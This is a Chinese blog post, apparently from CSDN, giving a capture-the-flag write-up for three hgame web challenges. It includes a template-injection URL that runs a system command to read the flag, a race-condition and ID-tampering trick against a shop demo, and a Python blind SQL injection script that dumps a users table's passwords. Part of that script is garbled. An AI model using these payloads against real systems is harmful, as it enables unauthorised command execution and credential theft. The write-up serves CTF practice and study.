Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475
hgame第三周(web ak)
1.SecurityCenter
先看看hint(**vendor是第三方库和插件放置的文件夹,一般来源于composer的安装)
依葫芦画瓢http://146.56.223.34:60036/redirect.php?url={{[“base64 /flag”]|map(“system”)}}
进入了安全中心,应该不用点跳转了,Array前面就是base64编码(习惯了base都用basecrack免得套娃)
hgame{!Tw19-S5t11s^s00O0O_inter3st1n5!}
2.Vidar shop demo
这题的环境感觉不是很友好,报错藏在弹窗后面看不太到,貌似是:昵称长度足够,电话限制11位,密码大于10位(藏在弹窗下面
进去之后
抓个包把amount改成9999试试(只有9999个币,flag要10000)
然并卵,想一想,那么其他几个便宜的徽章干嘛用呢? 条件竞争,也许是并发操作(查了一篇技术知乎):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rb5daflT-1644617638003)(undefined)]
回到题目:
我先尝试了手动购买多个订单,然后设置并发50删除订单,发现钱没有多退给我,反而可能变少,证实了并发操作是可以改变余额的。
那么我们多来几个订单(为了测试),试试并发购买(虚拟机转主机了,因为虚拟机太慢)
方法二:(无并发操作)购买买一个flag和一个徽章,在删除徽章的时候抓包,改一下flag的ID就可以了
好耶 hgame{78ae16367b8c8f23f8bb81db0b1aa2d5bd909ef5a3f186f5e470303988c7e762}
3.LoginMe
先随便登一下
import requests
import json
url = 'http://5a51fa042c.login.summ3r.top:60067/login'
flag = ''
for i in range(1,2000):
low = 32
high = 128
mid = (low+high)//2
while(low # 1' or (sqlite\_version() GLOB '3.36.0') or '2'='1
# payload = "-1' or substr((select hex(group\_concat(sql)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
payload = "-1' or substr((select hex(group\_concat(passWord)) from uuussseeerrrsss),{0},1)>'{1}' or '2'='1 ".format(i,chr(mid))
datas = {
"username": payload,
"password": "1"
}
headers = {'Content-Type': 'application/json'}
res = requests.post(url=url,headers=headers,data=json.dumps(datas))
if 'success!' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
# print('\n'+bytes.fromhex(flag).decode('utf-8'))
54c89486be811c26424c4335ed1af27e,应该是对应的密码,用户名应该是admin
(题目环境5min重置一次,所以每次python跑出来的值都不一样,密码也就不同)
-
__EOF__
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ody627Wc-1644617638014)(https://blog.csdn.net/jackball24)]时空·笙·兮 - 本文链接: https://blog.csdn.net/jackball24/p/15884547.html